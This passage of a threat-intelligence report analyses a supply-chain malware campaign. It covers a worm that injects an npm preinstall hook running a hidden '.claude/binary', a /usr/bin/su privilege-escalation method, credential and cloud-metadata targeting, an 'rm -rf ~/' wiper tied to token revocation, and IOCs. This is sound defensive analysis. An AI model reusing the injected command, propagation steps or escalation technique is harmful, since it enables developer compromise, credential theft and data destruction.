The execution chain string python3-csuwhoami confirms the verification step: after writing the patch, the malware runs su whoami and checks for the string root in the output to confirm the escalation succeeded before proceeding.

This technique is conceptually related to CVE-2022-0847 (Dirty Pipe) but implemented via the AF_ALG write-through path rather than the pipe page-cache splice path. It does not require a specific unpatched kernel version in the way Dirty Pipe did - the AF_ALG approach has broader applicability.

The practical impact: any developer workstation where Sample B ran and the user was not already root must be treated as fully root-compromised. The malware verifies the escalation before continuing, so every subsequent action - persistence installation, wallet theft, miner deployment - runs as root. And the rootkit persists independently of the malware itself.

Detection strings (binary-level, zero legitimate uses): abad lpe enc, python3-csuwhoami, authencesn(hmac(sha256),cbc(aes)). Remediation: replace /usr/bin/su from a trusted package source (apt-get install --reinstall login on Debian/Ubuntu, rpm -V shadow-utils on RHEL/Fedora).

5.15 Breadth of Credential Targeting

Wave 1 targeted environment variables, credential files, process memory, and the Bitwarden CLI vault. Wave 2 extended that surface substantially. The TypeScript component's providers/kubernetes/kubernetes.ts carries 19 compiled regex patterns, and the Rust binary adds its own credential targeting layer on top.

Targeting across both waves:

Credential typeWave 1Wave 2 TSWave 2 Rust
npm / GitHub tokens
AWS access key / secret + SigV4✓ (hand-rolled SigV4)
SSH keys-
Shell history / .env-
Cloud IMDS (AWS/Azure/GCP)
Kubernetes service account tokens-✓ (19 regex)-
HashiCorp Vault (4 auth methods, 12 paths)--
GitLab tokens--
CircleCI tokens-
Azure Managed Identity--
GCP ADC--
Stripe / Twilio / Slack / Intercom API keys--
Docker Hub credentials--
Database connection strings--
Bitwarden / 1Password vault-
OIDC tokens (from process memory)--
Crypto wallets (Exodus, Atomic, Ledger)--
npm _authToken (all registries)
npm bypass_2fa scope-✓ (binary confirmed)

The Vault targeting deserves specific mention: the malware attempts token auth, AppRole auth, GitHub auth, and Kubernetes auth in sequence, checks 12 hardcoded token file paths, and validates the token before exfiltrating. This is targeted, validated credential theft, not a bulk credential hoover.

5.16 Wave 2: npm/GitHub Spreader Worm (Rust Binary - Sample A)

Static analysis of Sample A (SHA256: 461460c0c9745b70bd9617019d85efb1e61a143df2fd5e9cc9613b4f7e155fab) was performed inside the same container-isolated Kali environment used for Sample B, using Ghidra 11.x headless analysis followed by symbol extraction from the unstripped ELF. Sample A is a development artifact - its symbols are fully intact, making reconstruction straightforward. Ghidra headless successfully decompiled 13 of 24 functions to C; the remaining 11 (primarily the ss::github API functions) are confirmed by symbol extraction but their implementations were not available for decompilation - the attack flow for those functions is reconstructed from call-graph and symbol-name analysis only.

Crate identity: The Rust v0 mangling hash csgVyfp85S5 identifies the binary's root crate as ss. Five source modules are confirmed from panic location strings embedded in the binary: src/main.rs, src/github.rs, src/npm.rs, src/preinstall.rs, and src/users.rs.

Complete function inventory (24 distinct functions):

ModuleFunctions
ss (root)main, load_padded_self
ss::paddingadd_elf_padding
ss::usersget_home_dirs, find_github_tokens, find_npm_tokens
ss::githubget_repos, fetch_package_json, binary_exists_in_repo, self_copy_to_repo, create_blob, base64_encode, rng
ss::npmvalidate_npm_token, get_username, get_packages, do_package_attack, binary_exists_in_package, self_copy_to_package, bump_version, create_tar_entries, extract_tar_entries, base64_encode
ss::preinstalladd_preinstall, add_scripts_block

Attack flow (reconstructed from ss::main disassembly at 0x1cd6d0):

Sample A runs entirely in a Tokio async runtime. ss::main sets a custom HTTP user-agent via reqwest, then executes two parallel attack tracks:

GitHub track:

  1. ss::users::find_github_tokens - parses ~/.git-credentials across all home directories (get_home_dirs enumerates /etc/passwd-resident user homes)
  2. For each token: ss::github::get_repos → enumerate all repos → filter by presence of package.json
  3. ss::github::binary_exists_in_repo - skip repos already containing .claude/binary (idempotency gate)
  4. ss::github::fetch_package_jsonss::preinstall::add_preinstall → inject nohup ./.claude/binary >/dev/null 2>&1 & into scripts.preinstall
  5. ss::github::self_copy_to_repocreate_blob - upload the self-binary as .claude/binary using the GitHub Contents API; commit author spoofed as claude <claude@users.noreply.github.com>

npm track:

  1. ss::users::find_npm_tokens - parses ~/.npmrc for _authToken entries (all registries)
  2. ss::npm::validate_npm_token - validates each token via /-/whoami; discards revoked tokens
  3. ss::npm::get_packages - lists all packages owned by the victim account via npm search
  4. For each package: ss::npm::binary_exists_in_package - skip already-infected packages
  5. ss::npm::do_package_attack:
    • extract_tar_entries - unpack the latest published tarball (gzip-compressed via flate2 crate)
    • add_preinstall - inject preinstall hook into package.json
    • self_copy_to_package - add .claude/binary to the files manifest
    • bump_version - increment patch version (forces downstream npm install to fetch the new tarball)
    • create_tar_entries - repack the tarball (gzip via flate2)
    • POST to https://registry.npmjs.org/ with bypass_2fa scope if available

Anti-detection: hash-breaking self-replication. ss::load_padded_self reads the binary into memory via std::env::current_exe(), then calls ss::padding::add_elf_padding with a hardcoded length of 0x1000 (4096 bytes) of zero-filled data appended to the ELF image. The padding length is fixed, not random - the decompiled call is add_elf_padding(&local_40, uVar5, local_30, 0x1000) with no variable length parameter. This means all copies propagated from the same initial binary will produce the same SHA256 - uniqueness across the victim population is only achieved if the initial binary deployed to each attack instance differs. The ss::github::rng() function (a SystemTime::now()-seeded XOR shuffle) is present in the ss::github module but is not called from load_padded_self - its purpose is in GitHub API operations (likely commit nonce or blob identifier generation), not padding. Combined with the already has preinstall hook, skipping / already added, skipping idempotency guards, the binary avoids redundant infection of already-compromised targets.

base64 implementation: standard alphabet. ss::npm::base64_encode uses the standard RFC 4648 alphabet (ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/), confirmed from the decompiled literal. This contrasts with Sample B, which uses a custom base64 alphabet as an obfuscation layer. Sample A's use of standard base64 means its network traffic (GitHub blob uploads, npm tarball POSTs) is decodable without alphabet recovery.

Relationship to Sample B. Sample A is the replication layer; Sample B is the implant. Sample A carries no C2, no XMRig, no LPE, no wiper. Its sole function is to propagate itself through the npm/GitHub supply chain. The design separation - spreader vs. full RAT - is deliberate: Sample A is deposited in public-facing npm packages (where it may be flagged by registry scanners), while Sample B is deployed only on confirmed victim machines after tokens are validated.

5.17 Wave 2: Victim Profiling, Environment Detection, and Operational Telemetry (Rust Binary - Sample B)

Sample B contains a structured victim profiling phase that runs before any credential harvest or miner deployment begins. The complete operator-visible startup log sequence, reconstructed from binary strings, reveals the operational pipeline:

Agent starting
Panic handler installed
Creating state
Scanning environment variables
Collecting hardware ID
Checking for cloud provider
[+] AWS metadata collected     ← or Azure / GCP / "[-] No cloud provider detected"
Credential scan complete
[+] Timestomp successful
Sending result response
[+] Connection established, starting heartbeat

This is not incidental logging - it is instrumented telemetry that gives the operator a per-victim status dashboard through the Tor C2 channel.

Hardware fingerprinting. Before scanning credentials, Sample B collects a hardware-based victim identifier by reading DMI/BIOS data from the host. The string BIOS3 appears as a structured field label in the binary, consistent with reading /sys/class/dmi/id/ entries (BIOS vendor, version, release date). This produces a stable machine identifier that persists across malware reinstallations, credential rotations, and OS reinstalls - the attacker can correlate a re-infected victim with their prior payload blobs even if the victim wiped and restored.

Cloud IMDS sequential probing. The cloud provider check queries the three major Instance Metadata Service endpoints in sequence: AWS (169.254.169.254/latest/meta-data/), Azure (169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true header), GCP (metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google). If all three return non-200, the binary logs [-] No cloud provider detected and proceeds without cloud credential targeting. On a CI runner or developer workstation without IMDS access, this path is skipped entirely - no latency penalty, no detectable network probes to unusual destinations for workstation victims.

CI environment detection. The string inside ci env appears as a branch label in Sample B. CI-specific behavior branches are triggered by checking standard CI environment variables (CI, GITHUB_ACTIONS, CIRCLECI, etc.). The likely use: on CI runners, skip persistence installation (a CI runner resets on each job) and prioritize OIDC token extraction and secret variable harvest over filesystem artifacts. On developer workstations, install persistence and the miner.

Container awareness. Sample B reads /proc/self/cgroup and probes /sys/fs/cgroup/memory.* to detect whether it is running inside a Linux container. The practical consequence: in a containerized CI environment, the LPE module (which patches /usr/bin/su) is less useful - the attacker likely skips it to avoid generating noise in container image scanners. The detection also allows the binary to adjust its persistence strategy based on whether writes to the host filesystem are expected to survive.

These four capabilities - hardware fingerprinting, cloud IMDS probing, CI detection, and container awareness - form an automated victim triage system. By the time the first heartbeat reaches the C2 operator, they already know: what hardware the victim runs, whether the victim is a cloud instance (and which cloud), whether they are a CI runner or a workstation, and whether the LPE succeeded. The operator does not need to interact with every victim to make deployment decisions; the binary profiles and reports, and the operator acts on the summary.

Dynamic confirmation - any.run sandbox (May 14, 2026). Crimson7's any.run submission directly confirmed the hardware fingerprinting guardrail in action: the binary launched, called /usr/bin/udevadm to read DMI/BIOS data, detected the VM environment, and self-terminated before any subsequent phase (credential scan, miner deploy, C2 contact) could execute. The sandbox captured zero malicious indicators, zero network connections to attacker infrastructure, and returned verdict "No threats detected" - proof that the guardrail fires before any detectable payload behavior begins. Full report


6. Victim Profiles

6.1 Wave 1 Victims (from public git commit metadata)

Git author emails in Wave 1 dead-drop repos - left by victims' own CI pipelines, visible in public GitHub history - gave us employer-level attribution for a subset of victims. In compliance with responsible disclosure norms, employer names are withheld pending notification. What the data supports:

  • Victims span Portugal, Netherlands, Germany, and Belgium
  • Two developer accounts sharing the same employer domain reflect a shared CI/CD pipeline: one poisoned npm install catches every developer on the same toolchain
  • One victim is an energy utility operating critical infrastructure - the highest-impact victim in Wave 1
  • Eight total employer domains were identified across the Wave 1 corpus

6.2 Wave 2 Victims (characterised, not named)

In compliance with GDPR and responsible disclosure norms, Wave 2 victims who have not made their own public disclosures are not named. What the forensic data supports:

  • A major global semiconductor manufacturer had at least one developer's CI credentials exfiltrated
  • A contact centre technology firm had customer-facing CI secrets stolen
  • A media platform's CI/CD automation account generated three payloads, suggesting automated pipeline execution on every push
  • A B2B AI/SaaS platform had CI secrets stolen
  • A financial systems consultancy had two dead-drop repos created under developer accounts
  • Multiple individual developers account for the highest payload volumes; one developer alone generated 60+ dead-drop repos and 4.91 MB of encrypted exfil

7. Attribution

7.1 Actor: TeamPCP

This campaign is attributed to TeamPCP - a financially motivated threat actor cluster with consistent TTPs across at least seven observable waves since March 2026. The group's fingerprints:

  • Hybrid AES-256-GCM / RSA-4096-OAEP payload encryption with the same embedded public key across all waves - an operational security failure that works in defenders' favour
  • GitHub dead-drop exfiltration rather than direct C2 beaconing
  • PBKDF2-based compile-time string obfuscation with per-wave salt rotation
  • Dune-universe naming conventions applied consistently (waves vary only in which Dune terms appear)
  • IDE persistence hooks targeting .claude/settings.json and .vscode/tasks.json - developer-specific, not generic malware
  • CIS-country kill switch (isSystemRussian()) present verbatim in TypeScript source and functionally equivalent in the Rust binary
  • Typosquatting security vendor domains as C2 (Checkmarx, Aqua Security, LiteLLM)

The self-published codebase provides a level of attribution certainty that reverse-engineering alone rarely achieves. The g00dfe11ow/Shai-Hulud-Open-Source repository - published by the attacker under MIT - carries the git committer email TeamPCP and author name TeamPCP_OSS. This is self-attribution by the actor, not our inference.

7.2 Identity Leads (Published as Threat Intelligence)

IndicatorAccountSourceNotes
enge31980@outlook.comenge31git config (not spoofed)Malware injector; published crypto-javascri (npm) and cryptox (PyPI)
TeamPCP (git committer email)g00dfe11ow, PedroTortoriellocommit metadataActor self-attribution; commit da10861592c3cfbc6cb61d83fe1da626968e3057 identical in both
UTC-3 commit timezonegruposbftechrecruiterall 414 commit timestampsConsistent UTC-3 = South America (Brazil / Argentina / Uruguay); first geographic placement for this actor
GitHub ID 156470107Gimpy9587noreply email patternWave 2 primary exfil operator; 273 of 306 commits from you@example.com / "Your Name" - unconfigured git env consistent with automated malware in clean container

On Wave 1 exfil accounts: The high-volume Wave 1 exfil accounts are compromised victim developer accounts whose GitHub OAuth tokens were stolen and used by the malware for collection infrastructure. Commit metadata analysis confirmed real developer identities at these accounts - timezone patterns spanning UTC+2 (Eastern Europe), UTC+5:30 (India), and UTC+10 (Australia/Pacific). Their identities are withheld per GDPR. They are victims, not operators.

7.3 Geographic Assessment

The UTC-3 commit offset across all 414 gruposbftechrecruiter commits is the first solid geographic placement for the actor. UTC-3 in the standard timezone band maps to Brazil (Brasília time), Argentina, Uruguay, and parts of other South American countries. The CIS kill switch is inconsistent with a South American operator unless deliberately deployed as an attribution false flag - a documented technique for actors wanting to appear Russian-adjacent. We note the inconsistency and do not resolve it.

We assess with moderate-high confidence that the group responsible for all seven observable waves is the same operator set. We do not have sufficient evidence to attribute to a specific nation-state.


8. Full Campaign Timeline

Date / Time (UTC)EventWave
March 2026KICS (Checkmarx IaC scanner) supply chain attack; checkmarx.zone C2Pre-wave
March 2026LiteLLM and Telnyx PyPI packages compromised; models.litellm.cloud C2Pre-wave
March 2026Trivy (Aqua Security) scanner compromised; scan.aquasecurtiy.org C2Pre-wave
March 2026CanisterWorm variant - ICP blockchain C2 (tdtqy-oyaaa-...raw.icp0.io)Pre-wave
Apr 22, 17:57 ET@bitwarden/cli@2026.4.0 published - same RSA key as Wave 1Pre-W1
Apr 22, 19:30 ET@bitwarden/cli@2026.4.0 pulled by npm after community reports (93 min live)Pre-W1
Apr 23checkmarx.cx domain registered - Wave 1 preparationPre-W1
Apr 28, 22:37First Wave 1 dead-drop repo created - attacker pipeline testWave 1
Apr 29, 09:55mbt@1.2.48 published via compromised CloudMTABotWave 1
Apr 29, 10:00–11:00Peak exfil hour: 290 events; all @cap-js packages publishedWave 1
Apr 29, 11:05First victim developer accounts hit (Germany)Wave 1
Apr 29, 11:11Additional victim developer accounts hit (Portugal)Wave 1
Apr 29, 11:20Wave 1 exfil via compromised developer accounts beginsWave 1
Apr 29, 12:03StepSecurity files public disclosureWave 1
Apr 29, 12:14Last malicious SAP package publishedWave 1
Apr 29, 12:35Critical infrastructure victim hit (energy utility, Netherlands)Wave 1
Apr 29, 13:46SAP publishes clean replacement versions; malicious packages begin removalWave 1
Apr 29, 17:18Last new victim dead-drop repo createdWave 1
Apr 30, 09:19Last observed exfil event; compromised exfil account still active 35 hours post-peakWave 1
May 1Crimson7 Wave 1 analysis complete; checkmarx.cx NXDOMAIN; 94.154.172.43 still liveWave 1
May 10voicproducoes stages fork zblgg/configuration; @tanstack/* compromise beginsWave 2
May 10–11Gimpy9587 and SnailRocketDev dead-drop repo creation beginsWave 2
May 11, 19:2084 malicious @tanstack/* package versions published in 6 minutesWave 2
May 11Worm spreads to @uipath/* (60+ pkgs), @mistralai/mistralai, others via OIDCWave 2
May 11IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner commits visible in dead-drop metadataWave 2
May 12, 02:13Wipe operation: Gimpy9587 force-pushes single commit to all 273 dead-drop repos (49-min post-first-payload)Wave 2
May 12, 11:00Wiz Research advisory publishedWave 2
May 12, 11:19SnailRocketDev first repo created - campaign active 19 min after Wiz advisoryWave 2
May 12enge31/crypto-js and enge31/cryptography identified; Sample B recoveredWave 2
May 12, 17:03 UTCSample B submitted to Hybrid Analysis by unknown third party (report 6a035d6dc31146dc8f0a7645); sandbox completes at 17:06 UTC; CrowdStrike Falcon: Clean, MetaDefender: 2/26Wave 2
May 13Crimson7 container-isolated RE of Sample B: LPE module, 3 new IPs, bypass_2faWave 2
May 13Sample B VT submission: 1/75 detectionWave 2
May 13Crimson7 Wave 2 + unified analysis published; gh-token-monitor confirmed active on affected hostsWave 2
May 14, 07:02 UTCCrimson7 re-submits Sample B to HA with Heavy Anti-Evasion action script (report 6a0572d668b09dbf8808f73d); verdict: Suspicious, Threat Score 35/100, AV 7%, label LINUX.Agent; 20 indicators / 17 techniques / 6 tactics; standard sandbox evasion confirmed by verdict mismatchWave 2
May 14, 08:46 UTCCrimson7 submits Sample B to any.run (report); binary self-terminates after DMI check - T1480 guardrail confirmed; verdict: No threats detected; zero C2 contact, zero file dropsWave 2
May 14HA dynamic analysis of Sample B yields 4 new IPs; ringxn--dateInitFastTime[.]com domain identified in binary stringsWave 2

9. Where It Fits - The Capability Arc

TeamPCP began in March 2026 as a credential harvester leveraging developer tool typosquats. By May 2026 it had:

  • Graduated from typosquats to compromising legitimate package maintainer accounts (SAP Wave 1)
  • Added cache poisoning via pull_request_target as an initial access vector that requires no malicious package at all (Wave 2)
  • Added OIDC token extraction from process memory to bypass file-based credential scanning (Wave 2)
  • Forged Sigstore SLSA v1 provenance - satisfying the supply chain integrity check designed to prevent exactly this attack (Wave 2)
  • Built a four-channel C2 stack including a Tor hidden service and a decentralized messenger network, both resistant to standard takedown (Wave 2)
  • Deployed a compiled Rust RAT with a kernel privilege escalation module that the full commercial AV landscape cannot detect (Wave 2)
  • Open-sourced its own tooling under MIT - either for recruitment, as a capability demonstration, or as an operational mistake (Wave 2)

The direction of travel is clear. Each wave addressed a specific failure mode from the prior wave. The C2 migration from a sinkholed domain to four redundant channels is a direct response to Wave 1's disruption. The OIDC memory extraction is a direct response to the fact that .npmrc file-based scanning was well-understood. The build file poisoning extends the infection surface beyond npm install into every build pipeline that ever touches an infected repository.

What makes this actor operationally significant is not any single technique but the combination: they iterate quickly, they instrument their infrastructure for per-victim yield tracking (the campaign_id / payout / histogram heartbeat fields), and they have demonstrated the ability to produce a Rust binary that evadesthe full commercial EDR/AV landscape. This is not a script-kiddie operation.


10. TTP Mapping - Combined

Wave 1

TacticTechniqueIDObserved Behavior
Initial AccessSupply Chain CompromiseT1195.001Malicious npm packages in SAP/CAP ecosystem via compromised CI bot
ExecutionCommand and Scripting Interpreter: JavaScriptT1059.007setup.mjs postinstall → execution.js via Bun runtime
ExecutionSoftware Deployment ToolsT1072npm postinstall hook on npm install
PersistenceEvent Triggered ExecutionT1546.claude/settings.json SessionStart; .vscode/tasks.json folderOpen
PersistenceHijack Execution FlowT1574.github/workflows/format-check.yml CI injection
Defense EvasionObfuscated FilesT1027ctf-scramble-v2 PBKDF2 obfuscation; double-base64 PAT encoding
Defense EvasionExecution GuardrailsT1480.001CIS-country locale kill switch (Exiting as russian language detected!)
Defense EvasionIndicator RemovalT1070GitHub dead-drop; no direct C2 contact from victim host
Credential AccessCredentials from Password StoresT1555Trojanized Bitwarden CLI vault extraction
Credential AccessCredentials In FilesT1552.001.env, AWS credentials, SSH keys, shell history - 134+ paths
Credential AccessUnsecured Credentials: Env VariablesT1552.007CI runner env var harvest
Credential AccessOS Credential DumpingT1003Python /proc/mem dumper targeting Runner.Worker
DiscoveryCloud Infrastructure DiscoveryT1580AWS IMDS, Azure MSI, GCP metadata endpoints
CollectionAutomated CollectionT1119Per-session encrypted blob assembly
ExfiltrationExfiltration to Code RepositoryT1567.002GitHub as dead-drop staging layer
ExfiltrationEncrypted ChannelT1573.002AES-256-GCM + RSA-4096-OAEP payload encryption
Lateral MovementSupply ChainT1195.002CI publish token theft for downstream campaign access

Wave 2 (additions and evolutions)

TacticTechniqueIDObserved Behavior
Initial AccessSupply Chain: Cache PoisoningT1195.001pnpm store cache poisoned via pull_request_target PR from fork
Credential AccessProcess Memory DumpT1057Python /proc/<pid>/mem read targeting Runner.Worker OIDC tokens
Credential AccessModify Authentication Process: OIDCT1556.005OIDC token exchanged for npm publish - no stored credentials needed
Credential AccessCloud Instance MetadataT1552.003AWS IMDS, Azure MSI, GCP metadata; K8s service account tokens
Credential AccessCredentials In Files (Vault)T1552.001Vault token files (12 paths, 4 auth methods); Docker config
Defense EvasionForge Web CredentialsT1606.002Sigstore SLSA v1 provenance on worm-published packages - passes npm audit signatures
Defense EvasionMasqueradingT1036.005Workflow spoofed as github-advanced-security[bot]; binary at .claude/settings
Defense EvasionTimestompT1070.006utimensat - binary resets own file timestamps post-install
Defense EvasionProcess Injection (memfd)T1055memfd_create - secondary payloads in anonymous memory, no disk write
Defense EvasionMasquerading: Process NameT1036.005prctl(PR_SET_NAME, "kworker/0:1-events") - mimics kernel worker thread; confirmed string at binary offset 268,529
Defense EvasionIndicator Removal: TimestompT1070.006[+] Timestomp successful - instrumented, verified post-deploy step
Defense EvasionVirtualization/Sandbox EvasionT1497.001CI detection (inside ci env); container detection via /proc/self/cgroup; sched_getaffinity CPU affinity check; adjusts behavior per environment
Defense EvasionObfuscated Files: Software PackingT1027.0021/75 VT; PBKDF2 compile-time obfuscation + stripped ELF
Defense EvasionExecution GuardrailsT1480Environment-keyed execution: CI/container detection, CIS-country kill switch, and victim profiling gate before payload activation
Command & ControlTraffic Signaling: Socket FiltersT1205.002setsockopt BPF socket filter - confirmed via HA dynamic analysis
ExecutionNative APIT1106Direct syscalls via syscall instruction: getrandom, sched_getaffinity, sigaltstack, gettid, statx, epoll_create1, eventfd2
DiscoverySystem Information DiscoveryT1082DMI/BIOS hardware fingerprint (BIOS3) generates stable per-victim ID; persistent across reinstalls
DiscoveryCloud Infrastructure DiscoveryT1580Sequential AWS → Azure → GCP IMDS probing; [-] No cloud provider detected on workstations
Lateral MovementSupply Chain WormT1195.001Inject + republish all packages victim can push; worm propagates on install
Lateral MovementBuild File InjectionT1195.001build.rs, CMakeLists.txt, setup.py execute .claude/settings on any build
PersistenceEvent Triggered Execution: GitHub ActionsT1546codeql_analysis.yml injected as github-advanced-security[bot]; deletes run+branch post-execution
PersistenceCreate or Modify System Process: Launch AgentT1543.001gh-token-monitor.plist - macOS LaunchAgent
PersistenceScheduled Task/Job: SystemdT1053.006gh-token-monitor.service - Linux systemd user service
Command & ControlNon-Application Layer ProtocolT1095Session messenger network - decentralized, takedown-resistant
Command & ControlMulti-hop Proxy: TorT1090.003Rust binary Tor v3 hidden service via embedded arti client
Command & ControlWeb Service: Dead Drop ResolverT1102.001thebeautifulmarchoftime commits for Ed25519-signed C2 domain rotation
ImpactSystem Shutdown/RebootT1529rm -rf ~/ wiper on GitHub token revocation (gh-token-monitor)
ImpactResource HijackingT1496XMRig cryptominer pushed via Tor C2 heartbeat; per-victim yield tracked via payout/histogram
CollectionData from Local SystemT1005Cryptocurrency wallets: Exodus, Atomic, Ledger Live
ExfiltrationExfiltration Over Alternative ProtocolT1048Session messenger network as secondary exfil path
Privilege EscalationExploitation for Privilege EscalationT1068AF_ALG socket + splice() writes to read-only /usr/bin/su fd via kernel crypto path

11. Key Takeaways

⚠ Do not revoke the GitHub tokens first. The reflex when discovering a stolen credential is immediate revocation. In this campaign that reflex wipes the developer's home directory. Before touching any gho_ token, enumerate every host running gh-token-monitor (W2-Q4), remove the daemon from all of them, remove .claude/ and .vscode/ persistence artifacts, and only then revoke. The daemon polls every 60 seconds. If it is running when the token is revoked, rm -rf ~/ fires.

npm audit signatures does not protect you. The worm publishes packages with valid Sigstore-signed SLSA v1 provenance, because it publishes through the victim's own OIDC-authenticated CI pipeline. The signature is genuine. The package is malicious. Provenance verification confirms the build pipeline, not the intent of whoever controls it. Monitoring for unexpected npm publishes from CI runners is the correct countermeasure, not verifying signatures on published packages.

The Rust binary contains a Linux privilege escalation module. An embedded Python script exploits the kernel AF_ALG crypto socket with splice() to patch /usr/bin/su via a read-only file descriptor. It activates automatically when not running as root. Any machine where Sample B executed and the user was not root must be treated as fully root-compromised. Detection: unexpected /usr/bin/su modification by non-package-manager processes (W2-Q12).

Your EDR missed the Rust binary. Sample B is 1/75 on VirusTotal as of May 13, 2026. Every major commercial EDR and AV engine except Microsoft ML returned clean. Hybrid Analysis independently confirmed this: CrowdStrike Falcon sandbox returned Clean on both static analysis and ML (report 6a035d6dc31146dc8f0a7645); MetaDefender multi-scan scored 2/26 (4% detection rate). Only when Crimson7 re-ran the sample with HA's Heavy Anti-Evasion action script (report 6a0572d668b09dbf8808f73d) - which patches CPUID, spoofs DMI/BIOS values, and manipulates timing signals - did the sandbox return a verdict of Suspicious (Threat Score 35/100, 7% AV detection, label LINUX.Agent). The standard-to-heavy-evasion verdict flip is direct evidence that Sample B's environment detection (T1480 Execution Guardrails) is functioning as designed: it successfully fooled the default Falcon Sandbox into a clean verdict. any.run independently confirmed this: Sample B self-terminated immediately after the /usr/bin/udevadm DMI check in any.run's standard sandbox (report), leaving zero network connections to attacker infrastructure and verdict "No threats detected." Three independent sandbox runs, three different outcomes - all explained by the T1480 guardrail and whether anti-evasion countermeasures were applied. The binary is also typed as application/x-sharedlib (PIE ELF) by HA and application/x-pie-executable by any.run - different classifiers, both confirming PIE ELF, and both potentially contributing to bypassing execution controls gated on MIME type. The combination of PBKDF2 compile-time obfuscation, stripped symbol table, prctl/memfd_create/utimensat runtime evasion, DMI/BIOS hardware fingerprinting, and a custom base64 alphabet was sufficient to evade the full commercial landscape under standard analysis conditions. Behavioral detections and anti-evasion sandbox configurations are the only reliable signal.

Build files are now attack surface. A poisoned build.rs in an infected repository executes attacker code on every developer machine that builds the project - no npm install needed, no active campaign infrastructure required. Add build.rs, setup.py, CMakeLists.txt, conanfile.py, and portfile.cmake to high-sensitivity file monitoring alongside CI workflow files.

GitHub Actions cache is an attack surface most teams have never considered. The pull_request_target footgun grants external fork code the repository's full write permissions. The pnpm store cache is shared across CI runs, inherited from fork PRs, and rarely audited. Review all pull_request_target triggers. Scope cache keys explicitly.

The dead-drop architecture defeats traditional exfil detection. Wave 1 and Wave 2 both sent only standard HTTPS traffic to github.com from victim hosts. Your egress monitoring would have seen nothing anomalous. Effective detection requires GitHub audit log streaming and monitoring for anomalous repository creation events, unexpected createCommitOnBranch API calls, or dead-drop canary strings.

HashiCorp Vault and Kubernetes secrets are in scope. If your CI pipelines had Vault access during Wave 1 or Wave 2 windows, treat those credentials as compromised. The targeting is thorough: four auth methods, twelve hardcoded token file paths, token validation before exfil.

The RSA-4096 public key is your best retroactive pivot. TeamPCP did not rotate it across seven observable waves. The header (MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA55aMQwvJuy++UvFmWrPW) is a YARA-able string that identifies any TeamPCP artifact - JavaScript or compiled - in your environment. If it appears in a node module or binary, you have a problem.

Sample B profiles every victim before acting. Hardware fingerprinting (DMI/BIOS), cloud IMDS probing (AWS/Azure/GCP), CI runner detection, and container awareness all run before the first credential scan. By the time the Tor C2 heartbeat fires, the operator has a complete profile: what machine, what cloud, developer workstation or CI runner, root or not. Defenders should look for unexpected IMDS probes from developer machines (workstations normally do not query 169.254.169.254) and unexpected reads from /sys/class/dmi/id/ or /proc/self/cgroup by non-system processes.

The open-sourced malware is both a threat and an opportunity. Publishing a near-complete implementation under MIT is not what careful state-sponsored actors do. Whatever the reason - recruitment, arrogance, or mistake - defenders now have source-level visibility into the complete tool chain. Use it. Build detections from the source. Every string in g00dfe11ow/Shai-Hulud-Open-Source is a detection opportunity.


12. IOC Summary

12.1 File Hashes - Wave 1

FileSHA256Notes
setup.mjs (shared loader, all 4 SAP pkgs)4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34npm postinstall loader
mbt@1.2.48 (execution.js)80a3d2877813968ef847ae73b5eeeb70b9435254e74d7f07d8cf4057f0a710acMain harvester payload
@cap-js/sqlite@2.2.2 (execution.js)6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95
@cap-js/postgres@2.2.2 (execution.js)eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb
@cap-js/db-service@2.10.1 (execution.js)eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb
@bitwarden/cli@2026.4.099ac962005550130398d55af2527d839e73489bc7911e7c2c37474d979aaf43fTarball; same RSA key
Python /proc/mem dumper29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7
Bitwarden CLI payload variant A18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb
Bitwarden CLI payload variant B8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14
Additional TeamPCP variant167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad
bw_setup.js Bun stagerf35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d
.claude/settings.json persistence hook14eb4ce01dd4307759887ff819359b70d7d9ff709ecde039a5abc1aac325b128
.vscode/tasks.json persistence hook927387d0cfac1118df4b383decc2ea6ba49c9d2f98b47098bcbcba1efc026e1f

12.2 File Hashes - Wave 2

FileSHA256SHA1Notes
router_init.jsab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c-Primary payload ~2.34 MB
router_init.js (alt)2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96e7d582b98ca80690883175470e96f703ef6dc497
setup.mjs (Wave 2)2258284d65f63829bd67eaba01ef6f1ada2f593f9bbe41678b2df360bd90d3df12f35b1081b17d21815b35feb57ab03d02482116
opensearch_init.js-820fa07a7328b6cf2b417078e103721d4d8f2e79OpenSearch variant
Rust binary Sample A (dev/unstripped)461460c0c9745b70bd9617019d85efb1e61a143df2fd5e9cc9613b4f7e155fab-enge31/crypto-js; spreader only
Rust binary Sample B (prod/stripped)511b039448227e48c14e715c3ff8ceaac82f7e4781df60e1c5f1eb79bba86e98189e637e47de7c9be540a416de16f938b6b50525Full RAT; 6,619,600 bytes; 1/75 VT
Rust binary Sample B - MD5fe930f65d32e40f0ed31854885e7796d-BuildID a2c210499d9409b00fd3a144ee3dea87cc43e63d; any.run report
Rust binary Sample B - TLSHT1BD66AE57F6B244E8D8BACC74831EE173EA28B889821271672FD45B012F26F64EF1D751-Fuzzy hash
Rust binary Sample B - ssdeep98304:M3pMuCILvWOJ2bqcPprmG0/9QwbinUh/pvR14qViZgY1rr1hyFITS2EeJUy31PdR:WU-Fuzzy hash - from any.run automated analysis; supersedes prior manual value

12.3 IP Addresses

IPRoleWaveStatus
94.154.172.43Wave 1 C2 server (AS209101, IP Vendetta Inc., Amsterdam)W1Live as of Apr 30 - block at egress
91.195.240.123checkmarx.cx registrar DNS (SEDO parking, Germany)W1Passive
83.142.209.11KICS / LiteLLM C2Pre-W1Prior wave
83.142.209.203Telnyx PyPI C2Pre-W1Prior wave
